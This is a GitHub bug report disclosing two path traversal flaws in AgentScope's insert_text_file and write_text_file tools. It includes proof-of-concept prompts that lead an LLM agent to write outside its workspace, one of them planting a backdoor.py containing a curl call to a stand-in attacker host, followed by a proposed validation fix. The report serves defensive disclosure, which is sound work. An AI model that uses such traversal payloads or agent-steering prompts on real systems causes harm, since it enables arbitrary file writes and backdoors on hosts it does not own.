[Bug]: Two Path Traversal in File Operations

**AgentScope is an open-source project. To involve a broader community, we recommend asking your questions in English.**

**Describe the bug**
AgentScope contains **two critical path traversal vulnerabilities** in file operation functions that allow arbitrary file write anywhere on the host system. These vulnerabilities have been confirmed with real LLM (MiniMax API) execution where a ReActAgent autonomously generated path traversal attacks.

**Affected Functions**:

1. `insert_text_file` in `src/agentscope/service/file/text.py`
2. `write_text_file` in `src/agentscope/service/file/text.py`

**Severity**: CRITICAL (CVSS 9.1)
**CWE**: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
**Validation**: ✅ Confirmed with Real LLM (MiniMax API) + Real ReActAgent execution

**To Reproduce**
### Vulnerability #1: Path Traversal in `insert_text_file`

**Steps to reproduce**:

1. **Setup AgentScope with file tools**:

```python
from agentscope.agents import ReActAgent
from agentscope.service import insert_text_file

# Initialize agent with file tools
agent = ReActAgent(
name="FileAgent",
model_config_name="minimax_model",
tools=[insert_text_file]
)
```

2. **Execute with path traversal prompt**:

```python
# User prompt that triggers path traversal
response = agent({
"content": "Insert 'PWNED' into ../../../../tmp/agentscope_exploit.txt"
})
```

3. **Observe arbitrary file write**:

```bash
# File written outside intended workspace
cat /tmp/agentscope_exploit.txt
# Output: PWNED
```

**Real LLM Evidence**: A real ReActAgent run with an OpenAI-compatible MiniMax model invoked `insert_text_file` on a relative path that escaped the intended working directory.

---

### Vulnerability #2: Path Traversal in `write_text_file`

**Steps to reproduce**:

1. **Setup code**:

```python
from agentscope.agents import ReActAgent
from agentscope.service import write_text_file

agent = ReActAgent(
name="FileAgent",
model_config_name="minimax_model",
tools=[write_text_file]
)
```

2. **Execute with malicious prompt**:

```python
response = agent({
"content": "Write 'import os; os.system(\"curl attacker.com\")' to ../../../../tmp/backdoor.py"
})
```

3. **See arbitrary file creation**:

```bash
ls -la /tmp/backdoor.py
# File exists with malicious content
```

**Expected behavior**
**Expected**: File operations should be restricted to a designated workspace directory. Any attempt to use path traversal sequences (`../`) or absolute paths should be rejected.

**Actual**: Both functions accept arbitrary file paths without validation, allowing writes anywhere the process has permissions.

**Error messages**
No error is raised. The vulnerable functions silently accept path traversal sequences:

```python
# Current vulnerable implementation
def write_text_file(file_path: str, content: str) -> ServiceResponse:
"""Write content to a file."""
try:
# NO PATH VALIDATION HERE
with open(file_path, "w", encoding="utf-8") as file:
file.write(content)
return ServiceResponse(status=ServiceExecStatus.SUCCESS, ...)
except Exception as e:
return ServiceResponse(status=ServiceExecStatus.ERROR, ...)
```

**Environment (please complete the following information):**

- AgentScope Version: All versions (tested on latest main branch as of 2026-04-19)
- Python Version: 3.10
- OS: Linux, macOS, Windows (all affected)

**Additional context**
### Recommended Fix

Add path validation to restrict file operations to workspace:

```python
from pathlib import Path
import os

def _validate_file_path(base_dir: str, user_path: str) -> Path:
"""Validate file path to prevent traversal attacks."""
# Reject absolute paths
if os.path.isabs(user_path):
raise ValueError("Absolute paths are not allowed")

# Resolve paths and check containment
base = Path(base_dir).resolve()
target = (base / user_path).resolve()

# Ensure target is within base directory
if not target.is_relative_to(base):
raise ValueError(f"Path traversal detected: {user_path}")

return target

def write_text_file(file_path: str, content: str) -> ServiceResponse:
"""Write content to a file (with path validation)."""
try:
# Get workspace directory from config
workspace = os.getenv("AGENTSCOPE_WORKSPACE", "./workspace")

# Validate path before opening
safe_path = _validate_file_path(workspace, file_path)

with open(safe_path, "w", encoding="utf-8") as file:
file.write(content)
return ServiceResponse(status=ServiceExecStatus.SUCCESS, ...)
except ValueError as e:
return ServiceResponse(
status=ServiceExecStatus.ERROR,
content=f"Invalid file path: {e}"
)
```